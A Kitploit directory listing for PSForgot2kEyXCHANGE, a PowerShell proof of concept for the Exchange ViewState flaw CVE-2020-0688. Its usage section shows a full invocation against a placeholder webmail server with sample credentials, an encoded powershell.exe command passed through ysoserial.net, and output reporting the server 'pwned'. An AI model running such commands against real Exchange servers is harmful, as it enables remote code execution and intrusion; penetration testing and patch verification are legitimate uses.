Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PSForgot2kEyXCHANGE — PoC for Forgot2kEyXCHANGE (CVE-2020-0688) written in PowerShell | Kitploit
Tools/GitHubGitHub/justin-p/psforgot2keyxchange
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingShellcode Generation
GitHubjustin-p/psforgot2keyxchange

PSForgot2kEyXCHANGE

PoC for Forgot2kEyXCHANGE (CVE-2020-0688) written in PowerShell

View Repository
566 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

PSForgot2kEyXCHANGE

PoC for Forgot2kEyXCHANGE (CVE-2020-0688) written in PowerShell

Usage

This PoC requires a valid Username and Password.

This PoC uses ysoserial.net to create the new ViewState which contains the command you specified on the -Command param. If you don't already have this installed on your system download it here.

root@kitploit:~
PS> . .\PSForgot2kEyXCHANGE.ps1
PS> Invoke-Forgot2kEyXCHANG -Server 'https://webmail.domain.tld' -User '[email protected]' -Password 'Summer2020!' -Command 'cmd /c powershell.exe -en dwByAGkAdABlAC0AaABvAHMAdAAgACcASQAnAG0AIABhACAAcwB0AGkAbgBrAHkAIABzAGsAaQBkACAAdwBoAG8AIAByAHUAbgBzACAAcgBhAG4AZABvAG0AIABjAG8AZABlACAAOgApACcA=' -YsoserialPath 'C:\tools\ysoserial.net\ysoserial.exe'
[+] Login successfully!
[+] Generated new ViewState successfully!
[+] Got a 500 response, successfully pwned https://webmail.domain.tld !

Contributing

Feel free to open issues, contribute and submit your Pull Requests. You can also ping me on Twitter (@JustinPerdok)

Download Tool